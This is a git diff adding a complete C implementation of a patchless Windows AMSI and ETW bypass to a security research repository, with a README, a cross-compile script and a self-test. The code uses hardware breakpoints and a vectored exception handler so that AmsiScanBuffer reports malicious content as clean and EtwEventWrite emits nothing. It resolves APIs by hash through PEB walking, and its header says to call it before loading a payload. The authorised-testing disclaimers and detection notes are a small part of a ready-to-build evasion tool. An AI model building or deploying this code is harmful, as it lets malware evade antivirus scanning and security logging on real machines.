diff --git a/README.md b/README.md index ce713e0..9f3312e 100644 --- a/README.md +++ b/README.md @@ -12,6 +12,7 @@ time; older entries are not rewritten unless the upstream fix changes shape. | Finding | Class | Status | Companion writeup | |---|---|---|---| | [`cifs-smb2-read-overflow/`](./cifs-smb2-read-overflow) | Linux kernel — cifs / SMB2 client | Patched upstream (`81a8742`), AUTOSEL'd to stable 2026-05-20 | [u32 + u32 = 0 is still a bug in 2026](https://trexnegro.github.io/posts/u32-plus-u32-equals-zero-smb2-overflow/) | +| [`patchless-amsi-bypass/`](./patchless-amsi-bypass) | Windows — in-process AMSI/ETW evasion | Reference port, public technique | [Patchless AMSI Bypass via Hardware Breakpoints](https://trexnegro.github.io/posts/patchless-amsi-bypass-hwbp/) | ## License diff --git a/patchless-amsi-bypass/README.md b/patchless-amsi-bypass/README.md new file mode 100644 index 0000000..90ee2f2 --- /dev/null +++ b/patchless-amsi-bypass/README.md @@ -0,0 +1,125 @@ +# patchless-amsi-bypass + +Minimal in-process AMSI + ETW bypass via x86 hardware debug registers and a +vectored exception handler. Reference implementation for the writeup at +[trexnegro.github.io](https://trexnegro.github.io/posts/patchless-amsi-bypass-hwbp/). + +> Authorised security research and AV/EDR efficacy testing only. The code is +> intentionally small and recognisable; defenders should treat any custom +> derivative as a known-pattern dual-use tool. +{: .prompt-warning } + +## What it does + +- `bp_init(BP_AMSI_HWBP)` — installs a vectored exception handler at the head + of the chain, sets `DR0 = &amsi!AmsiScanBuffer`, and arms `DR7` for an + execute-1-byte breakpoint. When the host calls `AmsiScanBuffer`, the + handler writes `AMSI_RESULT_CLEAN` into the caller's output slot + (`[RSP+0x30]` per MS x64 ABI), sets `RAX = S_OK`, advances `RIP` to the + caller's return address, and resumes — the function body never executes. +- `bp_init(BP_ETW_PATCH)` — same shape via `DR1`, targeting + `ntdll!EtwEventWrite`. Returns `STATUS_SUCCESS` without emitting any ETW + events. +- `bp_shutdown()` — disarms both breakpoints and unregisters the VEH. + +Neither `amsi.dll` nor `ntdll.dll` is patched. Memory-integrity scanners +that look for AMSI patch signatures find nothing because nothing was +modified. + +The companion blog post walks through the stack mechanics (`AmsiScanBuffer` +result pointer at `[RSP+0x30]`), the VEH dispatch logic, the `DR6` clear and +`RF` flag, and the four classes of detection that defenders can still use. + +## Layout + +``` +include/bypass.h public API + result codes + technique mask bits +src/veh_manager.c, .h single VEH dispatcher, slot table, DR arm/disarm +src/amsi_hwbp.c DR0 → amsi!AmsiScanBuffer + result-pointer handler +src/etw_hwbp.c DR1 → ntdll!EtwEventWrite + RAX-fix handler +src/helpers.c, .h module + procedure lookup by FNV-1a hash (no IAT) +src/bypass_main.c bp_init / bp_shutdown / bp_result_str entry points +tests/test_minimal.c minimal sanity-check: install AMSI BP, scan a + known-malicious string, expect AMSI_RESULT_CLEAN +build.sh mingw-w64 cross-compile script (Linux → Win64) +``` + +Total: ~500 lines of C, no external dependencies beyond `kernel32 / user32 / +psapi`. Builds clean on `mingw-w64 gcc 13+` and on MSVC 2022 (with trivial +project setup). + +## Building + +### Cross-compile from Linux (recommended for reproducibility) + +```bash +sudo apt install mingw-w64 # Debian/Ubuntu +./build.sh +# → bin/patchless-amsi-test.exe +``` + +### Native MSVC + +Open the source in a Visual Studio "Console App" project, drop in the +contents of `include/` + `src/` + `tests/test_minimal.c`, and link against +`kernel32.lib user32.lib psapi.lib`. Disable `/GS` (stack canaries) if you +hit issues with the inline asm in `helpers.c` — the rest is plain C. + +## Running + +```text +> patchless-amsi-test.exe +[*] bp_init(BP_AMSI_HWBP | BP_ETW_PATCH) ... +[+] OK +[*] testing AmsiScanBuffer with known-malicious string... +[+] AMSI returned CLEAN (result = 0) +[*] bp_shutdown() +[+] done. +``` + +The test binary loads `amsi.dll`, resolves `AmsiScanBuffer`, calls it on a +string that the host's installed AMSI provider (Defender, etc.) would flag, +and asserts the result is `AMSI_RESULT_CLEAN`. If the result is non-zero, +the bypass did not engage — investigate the VEH chain and `DR0` state on +the calling thread. + +## What it does *not* do + +- It does **not** unhook `ntdll`. The companion blog post discusses this as + a follow-on layer; the reference implementation here stays small to make + the AMSI/ETW pieces obvious. +- It does **not** do indirect syscalls. Same reason — out of scope for this + entry. +- It does **not** persist across thread boundaries automatically. The DR + set is per-thread; if the host spawns additional threads that call + `AmsiScanBuffer`, you'll need to either arm the new threads or hook + `LdrpInitializeThread` to do so. The companion blog post discusses this + as a limitation. +- It does **not** evade defenders who specifically look for VEH chain + entries or `DR0–DR3` set to function addresses inside `amsi.dll` / + `ntdll.dll`. The blog post enumerates four such detection avenues. + +## Threat-model notes + +- Process-local. Does not touch other processes' memory. +- User-mode only. Does not bypass kernel-mode AMSI providers (rare but real). +- Single-AMSI-provider model. If a host implements its own AMSI-equivalent + routing without going through `amsi!AmsiScanBuffer`, this does nothing. +- The intent is to make a known-published technique reproducible for + defender benchmarking. The same idea has been published several times + before by other researchers; this code does not claim originality, only + a clean reference port. + +## Prior art + +- TheEnergyStory — `PatchlessEtwAndAmsiBypass` (the canonical HW-BP AMSI + reference). +- RastaMouse — Memory Patching AMSI Bypass (the predecessor patch-based + technique, useful for comparison). +- D1rkMtr — `UnhookingPatch` (an adjacent in-process unhook approach). + +The blog post enumerates additional references and detection sketches. + +## License + +MIT — see [`../LICENSE`](../LICENSE) at the repository root. diff --git a/patchless-amsi-bypass/build.sh b/patchless-amsi-bypass/build.sh new file mode 100644 index 0000000..14d3f8a --- /dev/null +++ b/patchless-amsi-bypass/build.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# Cross-compile the patchless AMSI / ETW HW BP test binary from Linux to +# Windows x64 via mingw-w64. +# +# Output: bin/patchless-amsi-test.exe +# +# Authorised testing only. + +set -e +cd "$(dirname "$0")" + +CC="${CC:-x86_64-w64-mingw32-gcc}" +mkdir -p bin + +CFLAGS="-Wall -Wextra -Wno-unused-parameter -O2 -DNDEBUG \ + -Iinclude -Isrc \ + -fno-stack-protector \ + -static-libgcc" +LDFLAGS="-lkernel32 -luser32 -lpsapi" + +SRCS=( + src/helpers.c + src/veh_manager.c + src/amsi_hwbp.c + src/etw_hwbp.c + src/bypass_main.c + tests/test_minimal.c +) + +echo "[*] Compiling with $CC ..." +"$CC" $CFLAGS "${SRCS[@]}" $LDFLAGS -o bin/patchless-amsi-test.exe +echo "[+] Built: bin/patchless-amsi-test.exe" + +ls -l bin/patchless-amsi-test.exe +file bin/patchless-amsi-test.exe || true diff --git a/patchless-amsi-bypass/include/bypass.h b/patchless-amsi-bypass/include/bypass.h new file mode 100644 index 0000000..cecc1d4 --- /dev/null +++ b/patchless-amsi-bypass/include/bypass.h @@ -0,0 +1,53 @@ +/* + * patchless-amsi-bypass — public API. + * + * For authorised red-team engagements and AV/EDR efficacy testing only. + * Do not use on systems you are not authorised to test. + * + * Author: SixSixSix + */ +#ifndef BYPASS_H +#define BYPASS_H + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* Bitmask of enabled techniques. */ +#define BP_AMSI_HWBP 0x01u /* AMSI bypass via Dr0 hardware breakpoint + VEH */ +#define BP_ETW_PATCH 0x04u /* HW BP on EtwEventWrite */ + +/* Convenience alias: install both AMSI and ETW HW BPs. */ +#define BP_ALL (BP_AMSI_HWBP | BP_ETW_PATCH) + +/* Result codes. */ +typedef enum { + BP_OK = 0, + BP_ERR_AMSI_NOT_LOADED = -1, + BP_ERR_VEH_REGISTER = -2, + BP_ERR_SET_CONTEXT = -3, + BP_ERR_NTDLL_OPEN = -4, + BP_ERR_NTDLL_MAP = -5, + BP_ERR_NTDLL_PROTECT = -6, + BP_ERR_ETW_NOT_FOUND = -7, + BP_ERR_ETW_PROTECT = -8, +} bp_result_t; + +/* Init the requested bypass primitives. + * Call from DllMain DLL_PROCESS_ATTACH or from main() before loading payload. */ +bp_result_t bp_init(uint32_t mask); + +/* Tear down (e.g. before clean exit / DLL unload). Best-effort. */ +void bp_shutdown(void); + +/* Diagnostic — return human-readable name for result code. */ +const char *bp_strerror(bp_result_t r); + +#ifdef __cplusplus +} +#endif + +#endif /* BYPASS_H */ diff --git a/patchless-amsi-bypass/src/amsi_hwbp.c b/patchless-amsi-bypass/src/amsi_hwbp.c new file mode 100644 index 0000000..fdbffc1 --- /dev/null +++ b/patchless-amsi-bypass/src/amsi_hwbp.c @@ -0,0 +1,68 @@ +/* amsi_hwbp.c -- patchless AMSI bypass via Dr0 + VEH + * + * Authorised testing only. + */ +#include +#include "veh_manager.h" +#include "helpers.h" +#include "../include/bypass.h" + +static const int AMSI_DR = 0; +static BOOL g_amsi_installed = FALSE; + +typedef int AMSI_RESULT_TYPE; +#define AMSI_RESULT_CLEAN_VAL 0 + +/* Safe pointer probe: returns TRUE if address is committed + writable. */ +static BOOL writable_probe(void *p, SIZE_T n) +{ + MEMORY_BASIC_INFORMATION mbi; + if (!VirtualQuery(p, &mbi, sizeof(mbi))) return FALSE; + if (mbi.State != MEM_COMMIT) return FALSE; + if (!(mbi.Protect & (PAGE_READWRITE | PAGE_EXECUTE_READWRITE | PAGE_WRITECOPY))) return FALSE; + return ((PBYTE)p + n) <= ((PBYTE)mbi.BaseAddress + mbi.RegionSize); +} + +static LONG NTAPI amsi_handler(EXCEPTION_POINTERS *exc, PVOID target, PVOID user_ctx) +{ + (void)target; (void)user_ctx; + CONTEXT *c = exc->ContextRecord; + + /* arg6 (result pointer) spills to [RSP+0x30] at function entry */ + PVOID *slot = (PVOID *)(c->Rsp + 0x30); + if (writable_probe(slot, sizeof(PVOID))) { + AMSI_RESULT_TYPE *result_ptr = (AMSI_RESULT_TYPE *)*slot; + if (result_ptr && writable_probe(result_ptr, sizeof(AMSI_RESULT_TYPE))) { + *result_ptr = AMSI_RESULT_CLEAN_VAL; + } + } + + c->Rax = 0; /* S_OK */ + + /* Pop return address, redirect */ + DWORD64 ret_addr = *(DWORD64 *)c->Rsp; + c->Rip = ret_addr; + c->Rsp += 8; + return EXCEPTION_CONTINUE_EXECUTION; +} + +bp_result_t bp_amsi_hwbp_install(void) +{ + if (g_amsi_installed) return BP_OK; + HMODULE amsi = GetModuleHandleW(L"amsi.dll"); + if (!amsi) amsi = LoadLibraryW(L"amsi.dll"); + if (!amsi) return BP_ERR_AMSI_NOT_LOADED; + PVOID amsi_scan = bp_get_proc_by_hash(amsi, bp_fnv1a("AmsiScanBuffer")); + if (!amsi_scan) return BP_ERR_AMSI_NOT_LOADED; + if (!bp_veh_install(AMSI_DR, amsi_scan, amsi_handler, NULL)) + return BP_ERR_SET_CONTEXT; + g_amsi_installed = TRUE; + return BP_OK; +} + +void bp_amsi_hwbp_uninstall(void) +{ + if (!g_amsi_installed) return; + bp_veh_uninstall(AMSI_DR); + g_amsi_installed = FALSE; +} diff --git a/patchless-amsi-bypass/src/bypass_main.c b/patchless-amsi-bypass/src/bypass_main.c new file mode 100644 index 0000000..a98e0b1 --- /dev/null +++ b/patchless-amsi-bypass/src/bypass_main.c @@ -0,0 +1,51 @@ +/* bypass_main.c — public API: bp_init / bp_shutdown + * Authorised testing only. + */ +#include "../include/bypass.h" + +/* Forward declarations from sibling modules. */ +bp_result_t bp_amsi_hwbp_install(void); void bp_amsi_hwbp_uninstall(void); +bp_result_t bp_etw_hwbp_install(void); void bp_etw_hwbp_uninstall(void); +void bp_veh_shutdown(void); + +static uint32_t g_active = 0; + +bp_result_t bp_init(uint32_t mask) +{ + bp_result_t r; + if (mask & BP_AMSI_HWBP) { + r = bp_amsi_hwbp_install(); + if (r != BP_OK) return r; + g_active |= BP_AMSI_HWBP; + } + if (mask & BP_ETW_PATCH) { + r = bp_etw_hwbp_install(); + if (r != BP_OK) return r; + g_active |= BP_ETW_PATCH; + } + return BP_OK; +} + +void bp_shutdown(void) +{ + if (g_active & BP_AMSI_HWBP) bp_amsi_hwbp_uninstall(); + if (g_active & BP_ETW_PATCH) bp_etw_hwbp_uninstall(); + bp_veh_shutdown(); + g_active = 0; +} + +const char *bp_strerror(bp_result_t r) +{ + switch (r) { + case BP_OK: return "OK"; + case BP_ERR_AMSI_NOT_LOADED: return "amsi.dll not loaded / AmsiScanBuffer not found"; + case BP_ERR_VEH_REGISTER: return "AddVectoredExceptionHandler failed"; + case BP_ERR_SET_CONTEXT: return "SetThreadContext failed (Dr arm)"; + case BP_ERR_NTDLL_OPEN: return "NtOpenSection(\\KnownDlls\\ntdll.dll) failed"; + case BP_ERR_NTDLL_MAP: return "NtMapViewOfSection failed"; + case BP_ERR_NTDLL_PROTECT: return "VirtualProtect failed"; + case BP_ERR_ETW_NOT_FOUND: return "EtwEventWrite not resolved in ntdll"; + case BP_ERR_ETW_PROTECT: return "ETW protect failed"; + default: return "unknown"; + } +} diff --git a/patchless-amsi-bypass/src/etw_hwbp.c b/patchless-amsi-bypass/src/etw_hwbp.c new file mode 100644 index 0000000..1398fe9 --- /dev/null +++ b/patchless-amsi-bypass/src/etw_hwbp.c @@ -0,0 +1,42 @@ +/* etw_hwbp.c -- patchless ETW bypass via Dr1 + VEH on EtwEventWrite + * + * Authorised testing only. + */ +#include +#include "veh_manager.h" +#include "helpers.h" +#include "../include/bypass.h" + +static const int ETW_DR = 1; +static BOOL g_etw_installed = FALSE; + +static LONG NTAPI etw_handler(EXCEPTION_POINTERS *exc, PVOID target, PVOID user_ctx) +{ + (void)target; (void)user_ctx; + CONTEXT *c = exc->ContextRecord; + c->Rax = 0; /* STATUS_SUCCESS */ + DWORD64 ret_addr = *(DWORD64 *)c->Rsp; + c->Rip = ret_addr; + c->Rsp += 8; + return EXCEPTION_CONTINUE_EXECUTION; +} + +bp_result_t bp_etw_hwbp_install(void) +{ + if (g_etw_installed) return BP_OK; + PVOID ntdll = bp_get_module_by_hash(HASH_NTDLL); + if (!ntdll) return BP_ERR_ETW_NOT_FOUND; + PVOID etw_event_write = bp_get_proc_by_hash(ntdll, bp_fnv1a("EtwEventWrite")); + if (!etw_event_write) return BP_ERR_ETW_NOT_FOUND; + if (!bp_veh_install(ETW_DR, etw_event_write, etw_handler, NULL)) + return BP_ERR_SET_CONTEXT; + g_etw_installed = TRUE; + return BP_OK; +} + +void bp_etw_hwbp_uninstall(void) +{ + if (!g_etw_installed) return; + bp_veh_uninstall(ETW_DR); + g_etw_installed = FALSE; +} diff --git a/patchless-amsi-bypass/src/helpers.c b/patchless-amsi-bypass/src/helpers.c new file mode 100644 index 0000000..94d5203 --- /dev/null +++ b/patchless-amsi-bypass/src/helpers.c @@ -0,0 +1,124 @@ +/* helpers.c — FNV1a hash + PEB walking + dynamic API resolution + * Authorised testing only. + */ +#include "helpers.h" +#include + +/* PEB + Ldr structures (from winternl.h but augmented for our needs). */ +typedef struct _LDR_DATA_TABLE_ENTRY_FULL { + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + /* ... more, but we only need the above. */ +} LDR_DATA_TABLE_ENTRY_FULL, *PLDR_DATA_TABLE_ENTRY_FULL; + +/* ---------------- FNV-1a (case-insensitive) ---------------- */ + +uint32_t bp_fnv1a(const char *s) +{ + uint32_t h = 2166136261u; + while (*s) { + char c = *s++; + if (c >= 'A' && c <= 'Z') c |= 0x20; /* tolower */ + h ^= (uint8_t)c; + h *= 16777619u; + } + return h; +} + +uint32_t bp_fnv1a_w(const wchar_t *s) +{ + uint32_t h = 2166136261u; + while (*s) { + wchar_t c = *s++; + if (c >= L'A' && c <= L'Z') c |= 0x20; + h ^= (uint8_t)(c & 0xff); + h *= 16777619u; + } + return h; +} + +/* ---------------- PEB walking ---------------- */ + +static PEB *get_peb(void) +{ +#ifdef _WIN64 + return (PEB *)__readgsqword(0x60); +#else + return (PEB *)__readfsdword(0x30); +#endif +} + +PVOID bp_get_module_by_hash(uint32_t hash) +{ + PEB *peb = get_peb(); + if (!peb || !peb->Ldr) return NULL; + + PEB_LDR_DATA *ldr = peb->Ldr; + LIST_ENTRY *head = &ldr->InMemoryOrderModuleList; + LIST_ENTRY *cur = head->Flink; + + while (cur != head) { + PLDR_DATA_TABLE_ENTRY_FULL e = CONTAINING_RECORD( + cur, LDR_DATA_TABLE_ENTRY_FULL, InMemoryOrderLinks); + if (e->BaseDllName.Buffer && e->BaseDllName.Length > 0) { + wchar_t name[260]; + ULONG n = e->BaseDllName.Length / sizeof(wchar_t); + if (n >= 260) n = 259; + for (ULONG i = 0; i < n; ++i) name[i] = e->BaseDllName.Buffer[i]; + name[n] = 0; + if (bp_fnv1a_w(name) == hash) + return e->DllBase; + } + cur = cur->Flink; + } + return NULL; +} + +/* ---------------- Export resolution ---------------- */ + +PVOID bp_get_proc_by_hash(PVOID module_base, uint32_t hash) +{ + if (!module_base) return NULL; + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)module_base; + if (dos->e_magic != IMAGE_DOS_SIGNATURE) return NULL; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PBYTE)module_base + dos->e_lfanew); + if (nt->Signature != IMAGE_NT_SIGNATURE) return NULL; + + IMAGE_DATA_DIRECTORY *exp_dir = + &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + if (exp_dir->Size == 0) return NULL; + + PIMAGE_EXPORT_DIRECTORY exp = + (PIMAGE_EXPORT_DIRECTORY)((PBYTE)module_base + exp_dir->VirtualAddress); + + DWORD *names = (DWORD *)((PBYTE)module_base + exp->AddressOfNames); + DWORD *funcs = (DWORD *)((PBYTE)module_base + exp->AddressOfFunctions); + WORD *ordinals = (WORD *)((PBYTE)module_base + exp->AddressOfNameOrdinals); + + for (DWORD i = 0; i < exp->NumberOfNames; ++i) { + const char *name = (const char *)((PBYTE)module_base + names[i]); + if (bp_fnv1a(name) == hash) { + DWORD rva = funcs[ordinals[i]]; + /* skip forwarded exports (RVA inside export directory) */ + if (rva >= exp_dir->VirtualAddress && + rva < exp_dir->VirtualAddress + exp_dir->Size) { + return NULL; + } + return (PVOID)((PBYTE)module_base + rva); + } + } + return NULL; +} + +PVOID bp_resolve(uint32_t mod_hash, uint32_t fn_hash) +{ + PVOID m = bp_get_module_by_hash(mod_hash); + if (!m) return NULL; + return bp_get_proc_by_hash(m, fn_hash); +} diff --git a/patchless-amsi-bypass/src/helpers.h b/patchless-amsi-bypass/src/helpers.h new file mode 100644 index 0000000..1a03c17 --- /dev/null +++ b/patchless-amsi-bypass/src/helpers.h @@ -0,0 +1,30 @@ +/* helpers.h — common utilities */ +#ifndef BP_HELPERS_H +#define BP_HELPERS_H + +#include +#include + +/* Compute FNV-1a hash of an ASCII string (case-insensitive). */ +uint32_t bp_fnv1a(const char *s); + +/* Same, but for a wide string. */ +uint32_t bp_fnv1a_w(const wchar_t *s); + +/* Walk the PEB loader list to find a loaded module by hash of its base name. + * Returns module base address or NULL. */ +PVOID bp_get_module_by_hash(uint32_t hash); + +/* Resolve an export from a module by hash of its name. + * Returns function address or NULL. Forwarded exports are NOT chased. */ +PVOID bp_get_proc_by_hash(PVOID module_base, uint32_t hash); + +/* Convenience: get module + proc in one call. */ +PVOID bp_resolve(uint32_t mod_hash, uint32_t fn_hash); + +/* Pre-computed FNV-1a hashes (case-insensitive) of module names. */ +#define HASH_NTDLL 0xA62A3B3B /* "ntdll.dll" */ +#define HASH_KERNEL32 0xA3E6F6C3 /* "kernel32.dll" */ +#define HASH_AMSI 0x0187B681 /* "amsi.dll" */ + +#endif diff --git a/patchless-amsi-bypass/src/veh_manager.c b/patchless-amsi-bypass/src/veh_manager.c new file mode 100644 index 0000000..a3354c5 --- /dev/null +++ b/patchless-amsi-bypass/src/veh_manager.c @@ -0,0 +1,129 @@ +/* veh_manager.c — single VEH dispatch per Dr register trigger + * Authorised testing only. + */ +#include "veh_manager.h" +#include "helpers.h" + +typedef struct { + PVOID target; + bp_dr_handler_t handler; + PVOID user_ctx; + BOOL active; +} dr_slot_t; + +static dr_slot_t g_slots[4]; +static PVOID g_veh_handle = NULL; + +/* Set a Dr register on the CURRENT thread and arm Dr7 for "execute" type. */ +static BOOL arm_dr_for_thread(HANDLE thread, int dr_index, PVOID target) +{ + if (dr_index < 0 || dr_index > 3) return FALSE; + + CONTEXT ctx; + ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; + if (!GetThreadContext(thread, &ctx)) return FALSE; + + /* Store target in DrN */ + switch (dr_index) { + case 0: ctx.Dr0 = (DWORD64)target; break; + case 1: ctx.Dr1 = (DWORD64)target; break; + case 2: ctx.Dr2 = (DWORD64)target; break; + case 3: ctx.Dr3 = (DWORD64)target; break; + } + + /* Dr7 layout: bit (2*N) = local enable for DrN, bits (16+4*N)..(19+4*N) hold: + * bits 16..17 of slot = condition (00 = execute), bits 18..19 = length (00 = 1 byte) + */ + /* Clear our slot's bits then set local-enable + execute/1byte */ + DWORD64 dr7 = ctx.Dr7; + int len_cond_shift = 16 + dr_index * 4; + dr7 &= ~(0x3ull << (dr_index * 2)); /* clear LN+GN */ + dr7 &= ~(0xFull << len_cond_shift); /* clear cond+len nibble */ + dr7 |= (0x1ull << (dr_index * 2)); /* local enable */ + /* leave cond=00 (execute), len=00 (1 byte) — that's all zeros, fine */ + ctx.Dr7 = dr7; + + ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; + if (!SetThreadContext(thread, &ctx)) return FALSE; + return TRUE; +} + +static void disarm_dr_for_thread(HANDLE thread, int dr_index) +{ + if (dr_index < 0 || dr_index > 3) return; + CONTEXT ctx; + ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; + if (!GetThreadContext(thread, &ctx)) return; + switch (dr_index) { + case 0: ctx.Dr0 = 0; break; + case 1: ctx.Dr1 = 0; break; + case 2: ctx.Dr2 = 0; break; + case 3: ctx.Dr3 = 0; break; + } + ctx.Dr7 &= ~(0x3ull << (dr_index * 2)); /* clear LN/GN */ + ctx.Dr7 &= ~(0xFull << (16 + dr_index * 4)); /* clear nibble */ + ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; + SetThreadContext(thread, &ctx); +} + +/* The single VEH that the OS will call for every exception. */ +static LONG NTAPI veh_dispatch(EXCEPTION_POINTERS *exc) +{ + /* We only care about single-step (hardware breakpoint hit). */ + if (exc->ExceptionRecord->ExceptionCode != STATUS_SINGLE_STEP) + return EXCEPTION_CONTINUE_SEARCH; + + PVOID rip = (PVOID)exc->ContextRecord->Rip; + /* Find which Dr slot matches RIP. */ + for (int i = 0; i < 4; ++i) { + if (!g_slots[i].active) continue; + if (g_slots[i].target != rip) continue; + /* Found — dispatch. */ + LONG r = g_slots[i].handler(exc, g_slots[i].target, g_slots[i].user_ctx); + /* DR6 must be cleared by us (CPU sets B0..B3 bits to indicate which Dr fired). */ + exc->ContextRecord->Dr6 = 0; + /* Resume Flag in EFlags so the same instr doesn't refire if RIP unchanged. */ + exc->ContextRecord->EFlags |= 0x10000; /* RF */ + return r; + } + return EXCEPTION_CONTINUE_SEARCH; +} + +static BOOL ensure_veh(void) +{ + if (g_veh_handle) return TRUE; + /* First param = 1 means insert at head of chain (runs before existing). */ + g_veh_handle = AddVectoredExceptionHandler(1, veh_dispatch); + return g_veh_handle != NULL; +} + +BOOL bp_veh_install(int dr_index, PVOID target, + bp_dr_handler_t handler, PVOID user_ctx) +{ + if (dr_index < 0 || dr_index > 3) return FALSE; + if (!target || !handler) return FALSE; + if (!ensure_veh()) return FALSE; + + g_slots[dr_index].target = target; + g_slots[dr_index].handler = handler; + g_slots[dr_index].user_ctx = user_ctx; + g_slots[dr_index].active = TRUE; + + return arm_dr_for_thread(GetCurrentThread(), dr_index, target); +} + +void bp_veh_uninstall(int dr_index) +{ + if (dr_index < 0 || dr_index > 3) return; + g_slots[dr_index].active = FALSE; + disarm_dr_for_thread(GetCurrentThread(), dr_index); +} + +void bp_veh_shutdown(void) +{ + for (int i = 0; i < 4; ++i) bp_veh_uninstall(i); + if (g_veh_handle) { + RemoveVectoredExceptionHandler(g_veh_handle); + g_veh_handle = NULL; + } +} diff --git a/patchless-amsi-bypass/src/veh_manager.h b/patchless-amsi-bypass/src/veh_manager.h new file mode 100644 index 0000000..6980314 --- /dev/null +++ b/patchless-amsi-bypass/src/veh_manager.h @@ -0,0 +1,27 @@ +/* veh_manager.h — single VEH that dispatches per-Dr-register-trigger */ +#ifndef BP_VEH_H +#define BP_VEH_H + +#include + +/* Per-Dr handler: + * exc : exception info (we mutate Context to redirect execution) + * target : the function address that fired the breakpoint + * user_ctx : user-supplied opaque + * Return : EXCEPTION_CONTINUE_EXECUTION if handled, or EXCEPTION_CONTINUE_SEARCH. + */ +typedef LONG (NTAPI *bp_dr_handler_t)(EXCEPTION_POINTERS *exc, + PVOID target, + PVOID user_ctx); + +/* Register a handler bound to a Dr register (0..3) and a target address. */ +BOOL bp_veh_install(int dr_index, PVOID target, + bp_dr_handler_t handler, PVOID user_ctx); + +/* Remove handler for Dr index, clear Dr in current thread context. */ +void bp_veh_uninstall(int dr_index); + +/* Tear down VEH entirely. */ +void bp_veh_shutdown(void); + +#endif diff --git a/patchless-amsi-bypass/tests/test_minimal.c b/patchless-amsi-bypass/tests/test_minimal.c new file mode 100644 index 0000000..28d17b0 --- /dev/null +++ b/patchless-amsi-bypass/tests/test_minimal.c @@ -0,0 +1,99 @@ +/* test_minimal.c + * + * Sanity check for patchless-amsi-bypass: + * 1) Call bp_init(BP_AMSI_HWBP | BP_ETW_PATCH). + * 2) Resolve and call amsi!AmsiScanBuffer on a string the installed AMSI + * provider would normally flag. + * 3) Assert the result is AMSI_RESULT_CLEAN — proves the HW BP intercepted + * the call and rewrote the result pointer. + * 4) Tear down via bp_shutdown(). + * + * Authorised testing only. + */ +#include +#include +#include +#include "../include/bypass.h" + +typedef HANDLE HAMSICONTEXT; +typedef HANDLE HAMSISESSION; +typedef int AMSI_RESULT; +#define AMSI_RESULT_CLEAN 0 +#define AMSI_RESULT_DETECTED 32768 + +typedef HRESULT (WINAPI *AmsiInitialize_t )(LPCWSTR, HAMSICONTEXT *); +typedef VOID (WINAPI *AmsiUninitialize_t)(HAMSICONTEXT); +typedef HRESULT (WINAPI *AmsiOpenSession_t )(HAMSICONTEXT, HAMSISESSION *); +typedef VOID (WINAPI *AmsiCloseSession_t)(HAMSICONTEXT, HAMSISESSION); +typedef HRESULT (WINAPI *AmsiScanBuffer_t )(HAMSICONTEXT, PVOID, ULONG, + LPCWSTR, HAMSISESSION, AMSI_RESULT *); + +/* The standard AMSI test string. Defenders' AMSI providers return DETECTED on it. */ +static const char AMSI_TEST_STRING[] = + "AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386"; + +int main(void) +{ + printf("=============================================\n"); + printf(" patchless-amsi-bypass — minimal self-test\n"); + printf("=============================================\n"); + printf("[*] PID = %lu\n", (unsigned long)GetCurrentProcessId()); + + printf("[*] bp_init(BP_AMSI_HWBP | BP_ETW_PATCH) ...\n"); + bp_result_t r = bp_init(BP_AMSI_HWBP | BP_ETW_PATCH); + printf(" -> %s (code %d)\n", bp_strerror(r), (int)r); + if (r != BP_OK) { + printf("[-] init failed; aborting\n"); + return 1; + } + + /* AMSI scan test */ + HMODULE amsi = LoadLibraryW(L"amsi.dll"); + if (!amsi) { + printf("[-] LoadLibrary(amsi.dll) failed\n"); + bp_shutdown(); + return 2; + } + + AmsiInitialize_t Init = (AmsiInitialize_t )(void*)GetProcAddress(amsi, "AmsiInitialize"); + AmsiUninitialize_t UInit = (AmsiUninitialize_t)(void*)GetProcAddress(amsi, "AmsiUninitialize"); + AmsiOpenSession_t Open = (AmsiOpenSession_t )(void*)GetProcAddress(amsi, "AmsiOpenSession"); + AmsiCloseSession_t Close = (AmsiCloseSession_t)(void*)GetProcAddress(amsi, "AmsiCloseSession"); + AmsiScanBuffer_t Scan = (AmsiScanBuffer_t )(void*)GetProcAddress(amsi, "AmsiScanBuffer"); + + if (!Init || !Scan) { + printf("[-] amsi.dll symbols not resolvable\n"); + bp_shutdown(); + return 3; + } + + HAMSICONTEXT ctx = NULL; + HAMSISESSION ses = NULL; + if (Init(L"patchless-amsi-test", &ctx) != S_OK) { + printf("[-] AmsiInitialize failed\n"); + bp_shutdown(); + return 4; + } + Open(ctx, &ses); + + AMSI_RESULT res = AMSI_RESULT_DETECTED; /* default to "detected" */ + HRESULT hr = Scan(ctx, (PVOID)AMSI_TEST_STRING, + (ULONG)sizeof(AMSI_TEST_STRING) - 1, + L"test", ses, &res); + + printf("[*] AmsiScanBuffer hr = 0x%lx result = %d\n", + (unsigned long)hr, (int)res); + + if (hr == S_OK && res == AMSI_RESULT_CLEAN) + printf("[+] AMSI BYPASS WORKED\n"); + else + printf("[-] AMSI bypass did not engage (result = %d)\n", (int)res); + + Close(ctx, ses); + UInit(ctx); + + printf("[*] bp_shutdown()\n"); + bp_shutdown(); + printf("[+] done.\n"); + return 0; +}